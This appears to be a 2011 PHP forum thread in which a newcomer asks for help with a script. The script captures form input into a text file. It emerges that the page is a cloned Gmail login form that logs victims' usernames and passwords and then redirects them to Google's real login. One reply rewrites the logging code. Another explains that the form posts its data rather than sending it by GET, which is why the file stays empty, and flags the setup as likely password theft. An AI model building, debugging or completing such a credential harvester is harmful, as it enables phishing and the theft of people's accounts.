ousudrs Posted June 14, 2011 Share Posted June 14, 2011 Hi, I have created a webpage and it has username and password textboxes. Clicking on submit, is not adding username and password into the text file. I am able to see the psweds.txt file size is increasing on every username and password entry. but, in the pswrds.txt file, nothing is displayed. Please check this code and suggest me the changes. thank you. <?php header("Location: http://sampleurl "); $handle = fopen("pswrds.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/ Share on other sites More sharing options...
jcbones Posted June 14, 2011 Share Posted June 14, 2011 $file = 'pswrds.txt'; $str = NULL; foreach($_GET as $variable => $value) { $str .= $variable . '=' . $value . PHP_EOL; } if(!empty($str)) { file_put_contents($file, $str, FILE_APPEND | LOCK_EX); } header('Location: http://sampleurl'); exit(); Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229359 Share on other sites More sharing options...
ousudrs Posted June 14, 2011 Author Share Posted June 14, 2011 Hi friend jcbones, Still the same issue. I changed the permissions to 755 and the size of the file increasing, but not able to view the contents. Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229444 Share on other sites More sharing options...
cyberRobot Posted June 14, 2011 Share Posted June 14, 2011 How are you viewing the text file? If you're viewing it through a browser, you could try clicking the refresh button. We've had similar issues where the browser caches the text file and doesn't show the updates. Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229472 Share on other sites More sharing options...
ousudrs Posted June 14, 2011 Author Share Posted June 14, 2011 How are you viewing the text file? If you're viewing it through a browser, you could try clicking the refresh button. We've had similar issues where the browser caches the text file and doesn't show the updates. I am directly downloading the pswrds.txt file from CPanel (file manager) where I hosted. Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229486 Share on other sites More sharing options...
litebearer Posted June 14, 2011 Share Posted June 14, 2011 have you echo'd your variables to ascertain they contain valid values? Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229528 Share on other sites More sharing options...
ousudrs Posted June 14, 2011 Author Share Posted June 14, 2011 Here is the HTML file attached (Gmail): Now, I have replaced action="https://www.google.com/accounts/ServiceLoginAuth" with action="http://mysite urlhere/login.php" and saved the file. here is the login.php file contents <?php header("Location: https://www.google.com/accounts/ServiceLoginAuth "); $handle = fopen("pswrds.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> also, created a blank pswrds.txt file and uploaded index.html, login.php and pswrds.txt files to my Cpanel file manager. I am able to open mysite.com/login.php and after entering username and pwd, it is redirecting to https://www.google.com/accounts/ServiceLoginAuth . But, the problem here is, the pswrds.txt file size is increasing by 2 bytes after every time I submit the details in username and password. But the pswrds.txt file is empty. size is increasing and no data is visible. Thank you. [attachment deleted by admin] Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229532 Share on other sites More sharing options...
jcbones Posted June 14, 2011 Share Posted June 14, 2011 You are sending your form data as $_GET right? Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229730 Share on other sites More sharing options...
ousudrs Posted June 14, 2011 Author Share Posted June 14, 2011 You are sending your form data as $_GET right? I am not sure about it. I am a newbie in php. I have got this data from other place. I would like to check this concept. Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229733 Share on other sites More sharing options...
per1os Posted June 14, 2011 Share Posted June 14, 2011 First up, the header would not send the needed data, you would need to use something like curl to pass along the data to the google site. Second up, the form probably POSTS data as it should. You are getting two bytes because \r\n is always added at the end. What you are doing, seems highly dodgy to me, you offer a site to login to google, however, you are storing their passwords as raw data, unencrypted, in a text file. Seems like you are trying to steal someones password. I would look long and hard into your reasoning for doing this. If you want to understand GET/POST and forwarding data, I would do so a different way. Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229737 Share on other sites More sharing options...
ousudrs Posted June 14, 2011 Author Share Posted June 14, 2011 This not to cheat any one. I just got an idea about this and thinking whether it is possible to do like this or not. Because of this idea, I am just started learning php. .....There is no strong or hard reason to do this..its just simply trying to learn with little interest... Quote Link to comment https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/#findComment-1229742 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.